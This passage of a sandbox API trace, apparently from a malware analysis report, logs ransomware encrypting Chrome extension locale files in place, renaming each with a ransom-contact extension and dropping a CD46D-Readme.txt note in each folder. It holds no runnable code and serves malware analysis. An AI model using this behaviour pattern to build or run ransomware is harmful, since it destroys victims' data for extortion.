Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\" [0202.000] wcscat (in: _Dest=0xd4a6ed0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\CD46D-Readme.txt" [0202.000] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\cd46d-readme.txt")) returned 0xffffffff [0202.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.006] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x3acfd90, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x3acfd90*=0x6fd, lpOverlapped=0x0) returned 1 [0202.020] CloseHandle (hObject=0x14b8) returned 1 [0202.027] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6ed0) returned 1 [0202.027] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a46a0) returned 1 Thread: id = 8464 os_tid = 0x1b68 [0194.257] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json")) returned 0x2020 [0194.838] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json", dwFileAttributes=0x20) returned 1 [0199.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x584 [0199.471] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x2d4fde8 | out: lpFileSize=0x2d4fde8*=222) returned 1 [0199.471] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9aa8 [0199.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9878 [0199.472] NtQuerySystemTime (in: CurrentTime=0x2d4fd48 | out: CurrentTime=0x2d4fd48*=132174899740630000) returned 0x0 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x1ea261e6 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x7b50b0ea [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x29254591 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x24ea9a6 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x556e6180 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x7d422c12 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x5f4e55c0 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x43149cb2 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0xee6558b [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x329480ad [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0xcea9b17 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x536b3557 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x6a26c599 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x20eb9949 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x526df50b [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x1cb972e8 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x3ae9c68d [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x59a33459 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x5453a9ba [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x7e3d24b7 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x121fed5c [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x3793fcc9 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x79fb1c8f [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x442976bc [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x232203cc [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x7bfcc01 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x45627cd7 [0199.472] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x9461af3 [0199.473] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x5514fac0 [0199.473] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x7af5eb6f [0199.473] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x71ff1c8f [0199.473] RtlRandomEx (in: Seed=0x2d4fd54 | out: Seed=0x2d4fd54) returned 0x26a942b1 [0199.484] ReadFile (in: hFile=0x584, lpBuffer=0x10e74028, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x2d4fd44, lpOverlapped=0x0 | out: lpBuffer=0x10e74028*, lpNumberOfBytesRead=0x2d4fd44*=0xde, lpOverlapped=0x0) returned 1 [0199.485] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.485] WriteFile (in: hFile=0x584, lpBuffer=0x10e80830*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x2d4fd40, lpOverlapped=0x0 | out: lpBuffer=0x10e80830*, lpNumberOfBytesWritten=0x2d4fd40*=0xde, lpOverlapped=0x0) returned 1 [0201.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a80 [0201.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e40 [0201.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e40) returned 1 [0201.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e80830) returned 1 [0201.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e74028) returned 1 [0201.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb640) returned 1 [0201.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d24b8) returned 1 [0201.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938210 [0201.095] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.095] WriteFile (in: hFile=0x584, lpBuffer=0x12cf6440*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2d4fda8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6440*, lpNumberOfBytesWritten=0x2d4fda8*=0x10b, lpOverlapped=0x0) returned 1 [0201.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6440) returned 1 [0201.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938240) returned 1 [0201.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e40) returned 1 [0201.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938210) returned 1 [0201.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a80) returned 1 [0201.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9aa8) returned 1 [0201.766] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9af8) returned 1 [0201.766] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9940) returned 1 [0201.766] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x9446f8 [0201.766] wcscpy (in: _Dest=0x9446f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" [0201.766] wcscat (in: _Dest=0x9446f8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.766] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2d4fd60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.766] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9d30 [0202.031] FlushFileBuffers (hFile=0x584) returned 1 [0202.101] CloseHandle (hObject=0x584) returned 1 [0202.106] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9a6418 [0202.106] wcscpy (in: _Dest=0x9a6418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\" [0202.106] wcscat (in: _Dest=0x9a6418, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\CD46D-Readme.txt" [0202.106] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\cd46d-readme.txt")) returned 0xffffffff [0202.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0202.107] WriteFile (in: hFile=0x584, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2d4fd68, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x2d4fd68*=0x6fd, lpOverlapped=0x0) returned 1 [0202.107] CloseHandle (hObject=0x584) returned 1 [0202.108] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a6418) returned 1 [0202.108] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a4088) returned 1 Thread: id = 8465 os_tid = 0x1b6c [0194.257] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json")) returned 0x2020 [0194.839] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json", dwFileAttributes=0x20) returned 1 [0199.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1094 [0199.486] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x39cf7e4 | out: lpFileSize=0x39cf7e4*=236) returned 1 [0199.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0199.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9878 [0199.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9bc0 [0199.486] NtQuerySystemTime (in: CurrentTime=0x39cf744 | out: CurrentTime=0x39cf744*=132174899740786000) returned 0x0 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x5398756 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x2759a851 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x661655ed [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x63e3d3bb [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x1fc02a5e [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x554388c0 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x69f983d3 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x61caa84c [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x7e0c551b [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x333ec4d3 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x5e9c120 [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x7990227b [0199.486] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x55eeebc0 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x121e10a4 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x26221d64 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x7d5c8f36 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x1406238 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x32865175 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x56e93ebd [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x697917d3 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x3515a682 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x28aee725 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x105a7d14 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x2119326b [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x20a38cb0 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x3c355762 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x1701264c [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x4bf6487a [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x16a00678 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x15906b83 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x532a26b8 [0199.487] RtlRandomEx (in: Seed=0x39cf750 | out: Seed=0x39cf750) returned 0x31beec43 [0199.498] ReadFile (in: hFile=0x1094, lpBuffer=0x10e8d038, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x39cf740, lpOverlapped=0x0 | out: lpBuffer=0x10e8d038*, lpNumberOfBytesRead=0x39cf740*=0xec, lpOverlapped=0x0) returned 1 [0199.499] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.500] WriteFile (in: hFile=0x1094, lpBuffer=0x10e99840*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39cf73c, lpOverlapped=0x0 | out: lpBuffer=0x10e99840*, lpNumberOfBytesWritten=0x39cf73c*=0xec, lpOverlapped=0x0) returned 1 [0201.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5918 [0201.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5fa8 [0201.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fa8) returned 1 [0201.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e99840) returned 1 [0201.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e8d038) returned 1 [0201.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb5c8) returned 1 [0201.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0201.093] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x9381b0 [0201.093] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.093] WriteFile (in: hFile=0x1094, lpBuffer=0x12cf5a68*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x39cf7a4, lpOverlapped=0x0 | out: lpBuffer=0x12cf5a68*, lpNumberOfBytesWritten=0x39cf7a4*=0x10b, lpOverlapped=0x0) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5a68) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9381e0) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fa8) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9381b0) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5918) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9ad0) returned 1 [0201.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c60) returned 1 [0201.763] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x944570 [0201.763] wcscpy (in: _Dest=0x944570, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" [0201.763] wcscat (in: _Dest=0x944570, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.763] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x39cf75c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.763] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9b98 [0202.030] FlushFileBuffers (hFile=0x1094) returned 1 [0202.096] CloseHandle (hObject=0x1094) returned 1 [0202.097] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9a67f0 [0202.097] wcscpy (in: _Dest=0x9a67f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\" [0202.097] wcscat (in: _Dest=0x9a67f0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\CD46D-Readme.txt" [0202.097] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\cd46d-readme.txt")) returned 0xffffffff [0202.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 